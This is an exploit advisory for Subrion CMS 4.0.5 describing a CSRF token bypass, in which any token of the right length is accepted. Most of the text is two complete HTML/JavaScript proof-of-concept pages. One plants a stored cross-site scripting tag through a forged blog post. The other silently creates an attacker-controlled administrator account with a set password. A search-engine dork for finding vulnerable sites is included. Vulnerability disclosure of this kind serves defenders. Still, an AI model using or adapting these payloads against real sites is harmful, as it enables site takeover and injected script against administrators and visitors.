Home / os / winmobile

Subrion CMS 4.0.5 Cross Site Request Forgery / Cross Site Scripting

Posted on 19 October 2016

# Exploit Title: Subrion CMS 4.0.5 - CSRF Bypass to Persistent XSS and Add-Admin # Date: 15-10-2016 # Software Link: http://www.subrion.org/download/ # Vendor: http://www.subrion.org # Google Dork: "Powered by Subrion CMS" # Exploit Author: Ahsan Tahir # Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial # Website: www.ahsantahir.net # Category: webapps # Version: 4.0.5 # Tested on: [Kali Linux 2.0 | Windows 8.1] # Email: mrahsan1337@gmail.com [+] CSRF bypass to Persistent XSS 1. Description There was an Anti-CSRF token while adding a post in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website, a blog post will be created with a tag like this: "</title><script>alert(document.domain);</script>" and now the XSS can be executed here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/ 2. Proof of Concept (CSRF to Persistent XSS) Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new post named "Hacked by Ahsan" will be created, with a tag "</title><script>alert(document.domain);</script>", means that we exploited CSRF sucessfully! XSS will execute here: http://localhost/[SubrionPATH]/tag/title-script-alert-document-domain-script/ [!] PoC Code: <html> <!-- CSRF PoC --> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost/subirion/admin/blog/add/", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------292766351574"); xhr.withCredentials = true; var body = "-----------------------------292766351574 " + "Content-Disposition: form-data; name="__st" " + " " + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="title" " + " " + "Hacked by Ahsan Tahir " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="alias" " + " " + " " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="body" " + " " + "x3cpx3eHacked by Ahsan Tahirx3c/px3e " + " " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="tags" " + " " + "x3c/titlex3ex3cscriptx3ealert(document.domain);x3c/scriptx3e " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="v[image]" " + " " + " " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="image"; filename="" " + "Content-Type: application/octet-stream " + " " + " " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="owner" " + " " + "Administrator (emailofadmin@gmail.com) " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="member_id" " + " " + "1 " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="date_added" " + " " + "2016-10-15 04:41 " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="status" " + " " + "active " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="save" " + " " + "Add " + "-----------------------------292766351574 " + "Content-Disposition: form-data; name="goto" " + " " + "list " + "-----------------------------292766351574-- "; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> ---------------------------------------------------------------------------------------------------------------------- [+] Add-Admin CSRF 1. Description There was an Anti-CSRF token while adding an admin in Subrion CMS v4.0.5, named with paramater '__st', but it can be bypassed if we enter the same number of characters in the CSRF token (for e.g XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), then the CSRF protection will be bypassed means, if we craft a malicious HTML web page, we can trick the admin/vicitm to visit a website, and after he/she visits the website, a new admin will be created with an email which is controled by attacker, means now the attacker have full administration over the Subrion CMS Blog! 2. Proof of Concept Login to your subrion CMS as admin, visit a webpage with the below HTML code, and click on submit request, a new admin named "Haxor" will be created, with email "ahsan@ahsan.py", means that we exploited the CSRF sucessfully, and now the attacker has full control over the subrion blog! [!] PoC Code: <html> <!-- CSRF PoC --> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost/subrion/admin/members/add/", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------2573679013209"); xhr.withCredentials = true; var body = "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="__st" " + " " + "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="username" " + " " + "haxor " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="fullname" " + " " + "Craxor " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="email" " + " " + "ahsan@ahsan.py " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="_password" " + " " + "ahsan123 " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="_password2" " + " " + "ahsan123 " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="usergroup_id" " + " " + "1 " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="v[avatar[]]" " + " " + " " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="avatar[]"; filename="" " + "Content-Type: application/octet-stream " + " " + " " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="website" " + " " + " " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="phone" " + " " + " " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="biography" " + " " + " " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="facebook" " + " " + " " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="twitter" " + " " + " " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="gplus" " + " " + " " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="linkedin" " + " " + " " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="sponsored" " + " " + "0 " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="featured" " + " " + "0 " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="featured_end" " + " " + "2016-11-15 04:54 " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="status" " + " " + "active " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="save" " + " " + "Add " + "-----------------------------2573679013209 " + "Content-Disposition: form-data; name="goto" " + " " + "list " + "-----------------------------2573679013209-- "; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> Credits & Authors: ================== Ahsan Tahir - [https://twitter.com/AhsanTahirAT]

 

TOP